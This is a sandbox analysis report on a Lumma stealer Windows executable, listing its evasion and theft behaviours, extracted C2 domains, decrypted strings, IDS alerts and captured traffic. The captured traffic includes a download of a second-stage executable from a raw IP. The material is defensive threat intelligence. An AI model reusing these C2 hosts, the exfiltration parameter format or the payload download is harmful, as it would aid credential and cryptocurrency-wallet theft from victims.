Edit tour

Windows Analysis Report
738KZNfnzz.exe

Overview

General Information

Sample name:	738KZNfnzz.exe renamed because original name is a hash value
Original sample name:	93db07f78d36ab5dd759d24e435b7875.exe
Analysis ID:	1581404
MD5:	93db07f78d36ab5dd759d24e435b7875
SHA1:	0ef306286b7fc2b8be05efe57102aa024dc78bca
SHA256:	24ee2990f96aee958ea5da86efdf175f380ae38ff93f0928e3979af4b9a3f516
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

738KZNfnzz.exe (PID: 1492 cmdline: "C:\Users\user\Desktop\738KZNfnzz.exe" MD5: 93DB07F78D36AB5DD759D24E435B7875)

chrome.exe (PID: 6444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6716 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=1968,i,2278090863170060288,8995048806538418828,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7752 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1992,i,11131422020924396633,11398144967609355547,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["rebuildeso.buzz", "inherineau.buzz", "screwamusresz.buzz", "scentniej.buzz", "cashfuzysao.buzz", "mindhandru.buzz", "appliacnesot.buzz", "prisonyfork.buzz", "hummskitnj.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: 738KZNfnzz.exe PID: 1492	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 738KZNfnzz.exe PID: 1492	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 738KZNfnzz.exe PID: 1492	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:05:23.722821+0100	2028371	3	Unknown Traffic	192.168.2.6	49707	104.21.11.101	443	TCP
2024-12-27T15:05:25.920895+0100	2028371	3	Unknown Traffic	192.168.2.6	49708	104.21.11.101	443	TCP
2024-12-27T15:05:28.825805+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	104.21.11.101	443	TCP
2024-12-27T15:05:31.535890+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	104.21.11.101	443	TCP
2024-12-27T15:05:33.926472+0100	2028371	3	Unknown Traffic	192.168.2.6	49718	104.21.11.101	443	TCP
2024-12-27T15:05:36.640621+0100	2028371	3	Unknown Traffic	192.168.2.6	49725	104.21.11.101	443	TCP
2024-12-27T15:05:39.201728+0100	2028371	3	Unknown Traffic	192.168.2.6	49739	104.21.11.101	443	TCP
2024-12-27T15:05:44.843701+0100	2028371	3	Unknown Traffic	192.168.2.6	49750	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:05:24.490597+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49707	104.21.11.101	443	TCP
2024-12-27T15:05:26.713289+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49708	104.21.11.101	443	TCP
2024-12-27T15:05:45.617909+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49750	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:05:24.490597+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49707	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:05:26.713289+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49708	104.21.11.101	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:05:47.081400+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49755	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:05:37.410690+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49725	104.21.11.101	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 738KZNfnzz.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz/HX	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/msS	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/ds	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/c	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apis	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/0Z	Avira URL Cloud: Label: malware

Found malware configuration

Source: 738KZNfnzz.exe.1492.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["rebuildeso.buzz", "inherineau.buzz", "screwamusresz.buzz", "scentniej.buzz", "cashfuzysao.buzz", "mindhandru.buzz", "appliacnesot.buzz", "prisonyfork.buzz", "hummskitnj.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: 738KZNfnzz.exe

ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 738KZNfnzz.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2558476606.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: 738KZNfnzz.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50060 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 738KZNfnzz.exe, 00000000.00000002.2563278674.0000000005C12000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49708 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49708 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49725 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49750 -> 104.21.11.101:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 14:05:46 GMTContent-Type: application/octet-streamContent-Length: 2787840Last-Modified: Fri, 27 Dec 2024 14:04:53 GMTConnection: keep-aliveETag: "676eb405-2a8a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 98 d0 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 6f 70 76 75 73 65 79 00 00 2a 00 00 a0 00 00 00 fa 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 70 6a 6e 6f 74 79 77 00 20 00 00 00 a0 2a 00 00 06 00 00 00 62 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 68 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49708 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49718 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49739 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49725 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49750 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49755 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
